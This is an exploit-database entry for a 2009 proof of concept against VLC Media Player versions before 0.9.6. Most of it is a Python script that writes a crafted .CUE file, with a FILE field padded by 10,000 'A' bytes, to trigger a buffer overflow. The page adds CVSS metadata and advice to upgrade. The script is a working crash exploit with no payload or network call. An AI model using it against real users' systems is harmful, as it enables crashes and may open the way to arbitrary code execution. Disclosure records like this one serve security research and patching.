header-logo
Suggest Exploit
vendor:
VLC Media Player
by:
Dr_IDE
9.3
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: VLC Media Player
Affected Version From: < 0.9.6
Affected Version To: < 0.9.6
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: XPSP3
2009

VLC Media Player < 0.9.6 (.CUE) Buffer Overflow PoC

This PoC exploits a buffer overflow vulnerability in VLC Media Player versions prior to 0.9.6. The vulnerability is triggered when a specially crafted .CUE file is opened in the application. This can lead to arbitrary code execution.

Mitigation:

Upgrade to the latest version of VLC Media Player.
Source

Exploit-DB raw data:

#!/usr/bin/env python

####################################################################################
#
# VLC Media Player < 0.9.6 (.CUE) Buffer Overflow PoC
# Found By:	Dr_IDE
# Tested On:	XPSP3
#
####################################################################################

head = ("\x46\x49\x4c\x45\x20\x22")
buff = ("\x41" * 10000)
foot = (
"\x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20\x54"
"\x52\x41\x43\x4b\x20\x30\x31\x20\x4d\x4f\x44\x45\x31\x2f\x32\x33"
"\x35\x32\x0d\x0a\x20\x20\x20\x49\x4e\x44\x45\x58\x20\x30\x31\x20"
"\x30\x30\x3a\x30\x30\x3a\x30\x30")

f1 = open("vlc_0.8.6.cue","w")
f1.write(head + buff + foot)
f1.close()

# milw0rm.com [2009-09-15]